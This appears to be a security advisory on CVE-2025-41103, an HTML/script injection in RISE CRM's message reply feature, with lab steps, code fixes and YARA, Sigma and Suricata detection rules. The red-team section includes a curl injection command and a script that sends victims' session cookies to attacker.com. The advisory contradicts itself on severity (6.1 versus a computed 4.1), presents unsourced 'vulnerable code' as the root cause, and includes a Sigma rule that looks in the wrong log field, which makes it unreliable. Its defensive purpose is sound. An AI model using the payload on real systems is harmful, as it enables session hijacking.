CVE-2025-41103

Executive Summary

CVE-2025-41103 is an HTML injection vulnerability discovered in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /messages/reply endpoint, where the reply_message parameter is not properly sanitized, allowing an attacker to inject arbitrary HTML code via a POST request. This can lead to phishing attacks, session hijacking, or defacement within the CRM interface. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the nature of the flaw, it is likely a medium-severity issue (CVSS 6.1) due to the need for user interaction and the potential for client-side impact. No official patch has been released, and no public exploit code is available at this time.

Supply Chain & Package Security

RISE CRM is a PHP-based web application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application logic. However, organizations using RISE CRM should verify the integrity of their installation and monitor for any third-party plugins or themes that may introduce similar injection flaws.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability description yields:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account to send messages.
• User Interaction (UI): Required (R) – The victim must view the malicious message.
• Scope (S): Changed (C) – The injection can impact other components (e.g., the browser).
• Confidentiality (C): None (N) – No direct data breach.
• Integrity (I): Low (L) – HTML injection can alter content.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
Estimated Score: 4.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction but can lead to credential theft or phishing.

Deep Dive & Mechanics

The vulnerability is a classic HTML injection (CWE-79) in the RISE CRM messaging system. The /messages/reply endpoint accepts a POST request with the reply_message parameter. Due to insufficient input validation and output encoding, the application reflects the user-supplied HTML directly into the page without sanitization.

Attack Flow:

1. An authenticated attacker crafts a POST request to /messages/reply with a malicious payload in the reply_message parameter.
2. The payload contains HTML tags, such as <script>alert('XSS')</script> or <img src=x onerror=...>.
3. When the victim (another user) views the message, the browser renders the injected HTML, executing the attacker's code.
4. The attacker can then steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: The application uses $_POST['reply_message'] directly in the response without calling htmlspecialchars() or similar encoding functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// In messages/reply.php
$reply_message = $_POST['reply_message'];
// Directly output without sanitization
echo "<div class='message'>" . $reply_message . "</div>";

Patched Code (PHP):

// In messages/reply.php
$reply_message = htmlspecialchars($_POST['reply_message'], ENT_QUOTES, 'UTF-8');
// Now safe to output
echo "<div class='message'>" . $reply_message . "</div>";

The fix uses htmlspecialchars() to convert special characters to HTML entities, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install RISE CRM v3.8.1 on a local server (e.g., XAMPP or Docker).
• Create two user accounts: attacker and victim.
• Log in as the attacker.

Exploitation Steps:

1. Craft a POST request using cURL or Burp Suite:

   curl -X POST http://target.com/messages/reply \
     -d "reply_message=<script>alert('XSS')</script>" \
     -b "session=attacker_session_cookie"
   

2. The victim logs in and navigates to the message thread.
3. The injected script executes in the victim's browser.

Advanced Payload (Session Hijacking):

<script>
  var img = new Image();
  img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

Blue Team (Defensive)

Detection:

• Monitor POST requests to /messages/reply for suspicious patterns (e.g., <script>, onerror, javascript:).
• Use WAF rules to block HTML tags in the reply_message parameter.

Mitigation:

• Apply input validation: allow only plain text (strip all HTML tags).
• Use output encoding: htmlspecialchars() in PHP.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /messages/reply containing HTML tags.
  • Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
• File IOCs:
  • Log entries showing reply_message with <script> or <img> tags.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects in the CRM interface.
  • Unauthorized actions performed by victim accounts.

Detection Engineering

YARA Rule

rule CVE_2025_41103_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in RISE CRM reply_message parameter"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-41103"
    strings:
        $html_tag = /<[a-zA-Z\/].*?>/
        $script_tag = "<script"
        $onerror = "onerror="
        $javascript = "javascript:"
    condition:
        any of ($html_tag) and (any of ($script_tag, $onerror, $javascript))
}

Sigma Rule

title: CVE-2025-41103 HTML Injection in RISE CRM
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /messages/reply with HTML tags
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/messages/reply'
        cs-uri-query|contains: 'reply_message='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41103 HTML Injection in RISE CRM"; flow:to_server,established; content:"POST"; http_method; content:"/messages/reply"; http_uri; content:"reply_message="; http_client_body; pcre:"/<[a-zA-Z\/].*?>/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply input validation and output encoding to the reply_message parameter. Use htmlspecialchars() in PHP or equivalent in other languages.
2. Patch: Since no official patch is available, manually modify the source code as shown in the "Vulnerable vs. Patched Code" section.
3. WAF Rules: Deploy web application firewall rules to block HTML tags in message parameters.
4. CSP Header: Add Content-Security-Policy: default-src 'self'; script-src 'none'; to prevent inline script execution.
5. User Training: Educate users not to click on suspicious links or messages within the CRM.
6. Monitor: Enable logging for all POST requests to /messages/reply and review for anomalies.

Valters IT
Securing Digital Frontiers